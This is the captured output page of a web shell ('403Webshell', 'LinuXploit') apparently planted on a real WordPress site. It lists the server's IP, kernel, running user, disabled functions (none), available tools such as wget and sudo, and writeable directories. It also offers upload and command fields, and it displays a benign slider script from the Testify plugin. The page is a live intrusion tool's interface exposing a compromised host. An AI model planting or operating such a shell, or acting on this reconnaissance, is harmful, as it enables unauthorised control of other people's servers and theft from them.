403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.217.131
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-35-cloud-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/testify/js/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/testify/js/src/frontend.js
// This script is loaded both on the frontend page and in the Visual Builder.

jQuery(function ($) {

	require('./frontend-readmore.js');

    $(document).ready(function () {

        if (window.location.href.indexOf("et_fb") > -1 || window.location.href === 'about:blank') {
            // We are in the visual builder
        } else {
            // We are not in the visual builder

            // Initialize the Testify Slider - the VB call of this function is done from the React .JSX file
			$(".testify-testimonials").each(function() {
				var testifyModuleNode = $(this);

				var testifyId = testifyModuleNode.attr('data-testify-id');
				var testifyNavtype = testifyModuleNode.attr('data-testify-navtype');
				var testifyResponsiveCss = JSON.parse( testifyModuleNode.attr('data-testify-responsive-css') );
				var testifyAtts = JSON.parse( testifyModuleNode.attr('data-testify-atts') );
				var testifyOptionsDefaults = JSON.parse( testifyModuleNode.attr('data-testify-options-defaults') );
				var testifyCss = JSON.parse( testifyModuleNode.attr('data-testify-css') );

				window.testifyInitializeSlider(testifyId, testifyNavtype, testifyResponsiveCss, testifyAtts, testifyOptionsDefaults, testifyCss);
			});
			
           
        }

    });

});

window.testifyInitializeSlider = function (testifyId, testifyNavtype, testifyResponsiveCss, testifyAtts, testifyOptionsDefaults, testifyCss) {
	var handleResize = function () {
		var testifyResponsiveCssDefaultKeyValue = Object.entries(testifyResponsiveCss['default']);
		testifyResponsiveCssDefaultKeyValue.forEach(function (entry) {
			var cssSel = entry[0];
			var cssRules = entry[1];
			
			cssSel = (cssSel === '.testify-testimonials' ? '' : ' ' + cssSel);
			jQuery('#' + testifyId + cssSel).css(cssRules);

			
		});
		
		var docWidth = jQuery(document).width();
		
		var testifyResponsiveCssKeyValue = Object.entries(testifyResponsiveCss);
		testifyResponsiveCssKeyValue.forEach(function (entry) {
			var breakpoint = entry[0];
			var breakpointCSS = entry[1];
			
			if (breakpoint !== 'default' && docWidth > breakpoint) { // redid default breakpoint check successfully
				breakpointCSSKeyValue = Object.entries(breakpointCSS);
				breakpointCSSKeyValue.forEach(function (entryInner) {
					var cssSel = entryInner[0];
					var cssRules = entryInner[1];
					cssSel = (cssSel === '.testify-testimonials' ? '' : ' ' + cssSel);
					jQuery('#' + testifyId + cssSel).css(cssRules);

				});
			}

		});

	};
	jQuery(window).on('resize', handleResize);

	// Style variable determinations:
	if (testifyAtts['transition_type'] !== '' && testifyAtts['transition_type'] !== null) {
		var transitionType = testifyAtts['transition_type'];
	} else {
		var transitionType = testifyOptionsDefaults['transition_type'];
	}

	if (testifyAtts['transition_duration'] !== '' && testifyAtts['transition_duration'] !== null) {
		var transitionDuration = testifyAtts['transition_duration'];
	} else {
		var transitionDuration = testifyOptionsDefaults['transition_duration'];
	}

	if (testifyAtts['autoplay_duration'] !== '' && testifyAtts['autoplay_duration'] !== null) {
		var autoplayDuration = testifyAtts['autoplay_duration'];
	} else {
		var autoplayDuration = testifyOptionsDefaults['autoplay_duration'];
	}

	switch (testifyNavtype) {
		case 'thumbnails':
			var navType = 'thumbnails';
			break;
		case 'dots':
			var navType = true;
			break;
		default:
			var navType = false;
	}

	if (testifyNavtype === 'thumbnails') {
		var controlsContainer = '#' + testifyId + ' .controls';
	} else {
		controlsContainer = '';
	}

	if (testifyAtts.nav_arrows && testifyAtts.nav_arrows !== false) {
		var navArrows = testifyAtts.nav_arrows && testifyAtts.nav_arrows !== 'false' ? true : false;
	} else {
		var navArrows = testifyOptionsDefaults.nav_arrows ? true : false;
	}
	
	jQuery('#' + testifyId).flexslider({

		animation: transitionType,
		animationSpeed: Number(transitionDuration),
		slideshowSpeed: Number(autoplayDuration),
		slideshow: autoplayDuration > 0,
		controlNav: navType,
		controlsContainer: controlsContainer,
		directionNav: navArrows,
		pauseOnHover: true,
		namespace: 'testify-flex-',
		/*smoothHeight: true,*/
		start: function (slider) {


			testifyCssKeyValue = Object.entries(testifyCss);
			testifyCssKeyValue.forEach(function (entry) {
				var cssSel = entry[0];
				var cssRules = entry[1];
				cssSel = (cssSel === '.testify-testimonials' ? '' : ' ' + cssSel);
				jQuery('#' + testifyId + cssSel).css(cssRules);

			});

			jQuery('.testify-flex-control-thumbs li').addClass(function (i) {
				return 'testify-flex-slide-thumb-' + (i + 1);
			});

			jQuery('.testify-flex-control-thumbs li img').addClass(function (i) {
				return 'testimonial-image';
			});

			handleResize();
			jQuery(slider).find('.testify-flex-direction-nav').appendTo(slider.find('.slides-container'));
			jQuery(slider).css('visibility', 'visible');

		}
	}).on('mouseover', '.testify-flex-control-thumbs img', function () {
		var target = jQuery(this);
		setTimeout(function () {
			if (target.is(':hover'))
				target.click();
		}, 500);
	})
	.find('.testify-readmore')
	.testifyReadmore();
};

Youez - 2016 - github.com/yon3zu
LinuXploit